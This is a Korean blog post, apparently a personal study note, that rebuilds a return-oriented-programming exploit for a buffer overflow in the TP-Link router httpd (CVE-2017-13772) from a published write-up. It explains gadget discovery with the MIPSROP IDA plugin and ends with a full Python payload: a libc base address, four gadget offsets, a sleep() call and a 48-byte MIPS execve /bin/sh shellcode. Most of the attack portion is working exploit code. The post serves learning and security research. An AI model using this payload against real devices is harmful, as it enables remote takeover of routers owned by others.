Self-Improvement
MIPS ROP Case 2 (Shellcode, MIPSROP IDA Plugin) 본문
fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
실제 실습할 수 있는 장비가 없기 때문에 위 블로그의 내용을 바탕으로 이해한 것을 적어보자.
Shellcode 형식의 ROP를 진행하기 위해선 Sleep() 함수를 호출하여 캐시 coherence를 해결한다.
ROP
BOF가 발생하는 httpd 바이너리의 ipAddrDispose()함수에서의 에필로그 부분이다.
스택에 있는 값을 $ra, $s1, $s0에 저장한 뒤 $ra(var_4($sp))의 값으로 jump 한다.
libuClibc-0.9.30.so 라이브러리 파일에서 가젯들을 찾아주며 IDA의 MIPSROP 플러그인 기능을 사용한다.
(ASLR이 걸려 있다면 라이브러리에서의 가젯을 사용 불가능)
가젯 1 ( 0x55C60 + Lib_base_Addr)
sleep() 함수를 호출할 때 사용할 인자를 셋팅해줄 가젯을 찾아준다.
mipsrop.find("li $a0, 1")
목록 중 2번째 0x55c60을 확인해본다.
1. $a0에 1을 넣는다
2. $s1의 값을 $t9로 넣는다
3. $t9에 있는 값으로 jump 한다. ($s1 = $t9)
sleep() 함수를 호출할 가젯은 찾았으니 sleep()를 호출하고 ROP를 이어나갈 가젯을 찾아준다.
가젯2 ( 0x35840 + Lib_base_Addr)
$ra를 셋팅해주는 에필로그 가젯을 찾아주자
mipsrop.tail()
목록 중 2번째 0x35840를 확인해본다
1. $s1을 $t9에 셋팅한다
2. var_4($sp)의 값을 $ra에 셋팅한다
3. var_8($sp)의 값을 $s1에 셋팅한다
4. var_C($sp)의 값을 $s0에 셋팅한다
5. $a0에 0xC를 더한다. (sleep 시간이 늘어나겠구만)
6. 스택의 크기 0x28를 정리한다. (분기지연슬롯 특징)
7. $t9에 저장된 값으로 jump 한다. ($s1 = $t9)
Sleep 함수 ( 0x53CA0 + Lib_base_Addr)
라이브러리에 sleep() 함수의 offset을 구해보면 0x53CA0이다.
중간점검
현재까지 가젯1, 가젯2, sleep() 함수 offset 주소를 얻었기에 sleep()를 호출하는 페이로드를 조합해본다.
BOF가 발생한 에필로그 부분을 다시 확인해보면 $ra, $s1, $s0을 셋팅해줄 수 있다.
가젯1 에서는 $s1의 값으로 jump를 하게되며 이때 $s1은 가젯2를 가리키고 있어야 한다. ($s1은 BOF가 발생한 에필로그 부분에서 설정할 수 있다.)
가젯2 에서는 $s1이 가젯2 주소 0x35840 값을 가지고 있어서 한번 더 가젯2를 호출하게 되는 형식이다. (총 2번을 진행한다)
1. 처음 가젯2가 호출될때 $ra, $s1, $s0값을 정할 수 있음으로 $s1을 셋팅해주는 var_8($sp)에 sleep() 함수 주소를 넣어주는 것이다.
2. 두 번째 가젯2가 호출될 경우엔 $s1에 sleep() 주소로 설정되어 있음으로 결국 sleep() 함수가 호출될것이다.
* sleep() 함수가 호출되고 되돌아갈 $ra는 가젯2가 두 번째 호출될때 셋팅해줄 수 있음올 가젯3으로 셋팅하면 가젯3으로 가져서 ROP가 이어진다. (중간점검 끝나고 내용 나옴)
중간 Payload
next_gadget은 이제 shellcode를 실행하기 위한 가젯들을 찾은 후 넣어 줄 것이다.
payload = 'A' * 160
payload += 'A' * 4 # $s0
payload += p32(libc_base + gadget2) # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1) # first_ra = mipsrop.find("li $a0, 1")
payload += 'B' * 16 # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4 # gadget2_1 $s0
payload += p32(libc_base + sleep) # gadget2_1 $s1
payload += 'B' * 4 # gadget2_1 $ra
payload += 'C' * 16 # gadget2_2 stack size $(sp+0x28)
payload += 'C' * 4 # gadget2_2 $s0
payload += 'C' * 4 # gadget2_2 $s1
payload += next_gadget # gadget2_2 $ra
가젯3 ( 0x164C0 + Lib_base_Addr)
중간 점거에서 보았듯이 sleep() 함수가 끝나고 이제는 shellcode를 실행할 가젯들을 찾아줘야 한다.
먼저 shellcode는 스택에 저장을 하고 실행하기 때문에 스택의 주소를 갖는 가젯을 찾아본다.
mipsrop.stackfinder()
0x164C0 가젯을 확인해본다.
1. var_180의 스택 주소값을 $s2에 설정한다. (0x198의 스택크기를 가지고있어서 쉘코드 가능)
2. $v1을 $a2에 설정한다
3. $s0을 $t9에 설정한다. (다음 가젯을 위해 사전에 가젯2에서 $s0 셋팅)
4. $t9로 jump ($s0 = $t9)
가젯4 ( 0x4BCF0+ Lib_base_Addr)
가젯3에서 $s2에 var_180 스택 주소값이 설정되어있기에 이제 $s2로 jump하는 가젯을 찾아준다.
mipsrop.find("move $t9, $s2")
0x4BCF0 가젯을 확인해본다.
1. $s2를 $t9dp 설정한다
2. $t9로 jump 한다. ($s2 = $t9)
* 즉 스택의 주소로 jump하게 되고 해당 스택에 쉘코드가 있으면 실행
최종 결과
가젯3에서 가젯4로 가기위하여 가젯2에서 $s0에 추가적인 설정이 필요하다.
payload = 'A' * 160
payload += 'A' * 4 # $s0
payload += p32(libc_base + gadget2) # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1) # first_ra = mipsrop.find("li $a0, 1")
payload += 'B' * 16 # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4 # gadget2_1 $s0
payload += p32(libc_base + sleep) # gadget2_1 $s1
payload += 'B' * 4 # gadget2_1 $ra
payload += 'C' * 16 # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4) # gadget2_2 $s0
payload += 'C' * 4 # gadget2_2 $s1
payload += p32(libc_base + gadget3) # gadget2_2 $ra
가젯3에서 할당받은 스택의 주소는 var_180 값이고 스택의 크기는 0x198임으로 그 사이에 padding 값을 0x20 넣어주고 쉘코드를 붙혀주면 된다.
payload = 'A' * 160
payload += 'A' * 4 # $s0
payload += p32(libc_base + gadget2) # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1) # first_ra = mipsrop.find("li $a0, 1")
payload += 'B' * 16 # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4 # gadget2_1 $s0
payload += p32(libc_base + sleep) # gadget2_1 $s1
payload += 'B' * 4 # gadget2_1 $ra
payload += 'C' * 16 # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4) # gadget2_2 $s0
payload += 'C' * 4 # gadget2_2 $s1
payload += p32(libc_base + gadget3) # gadget2_2 $ra
payload += 'D' * 20 # gadget3 stack (0x198) - var_180 = padding
payload += shellcode
종합
libc_base = 0x2aae000
sleep = 0x53CA0
gadget1 = 0x55C60
gadget2 = 0x35840
gadget3 = 0x164C0
gadget4 = 0x4BCF0
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'A' * 160
payload += 'A' * 4 # $s0
payload += p32(libc_base + gadget2) # $s1 = mipsrop.tail()
payload += p32(libc_base + gadget1) # first_ra = mipsrop.find("li $a0, 1")
payload += 'B' * 16 # gadget2_1 Stack size $(sp+0x28)
payload += 'B' * 4 # gadget2_1 $s0
payload += p32(libc_base + sleep) # gadget2_1 $s1
payload += 'B' * 4 # gadget2_1 $ra
payload += 'C' * 16 # gadget2_2 stack size $(sp+0x28)
payload += p32(libc_base + gadget4) # gadget2_2 $s0
payload += 'C' * 4 # gadget2_2 $s1
payload += p32(libc_base + gadget3) # gadget2_2 $ra
payload += 'D' * 20 # gadget3 stack (0x198) - var_180 = padding
payload += shellcode
'MIPS' 카테고리의 다른 글
MIPS ROP Case 1 (Shellcode, MIPSROP IDA Plugin) (0) | 2021.03.23 |
---|---|
MIPS Cache Incoherency 관련 가설??(rop, shellcode) (0) | 2021.03.19 |
MIPS ROP 예제들 (memory leak, not shellcode, ret2csu) (0) | 2021.03.18 |
GDB 에서 <func@plt> 안보이는 경우 해결 방법 (gcc docs, MIPS, plt, got, CI20) (0) | 2021.03.18 |
mips rop 예제들 (0) | 2021.03.16 |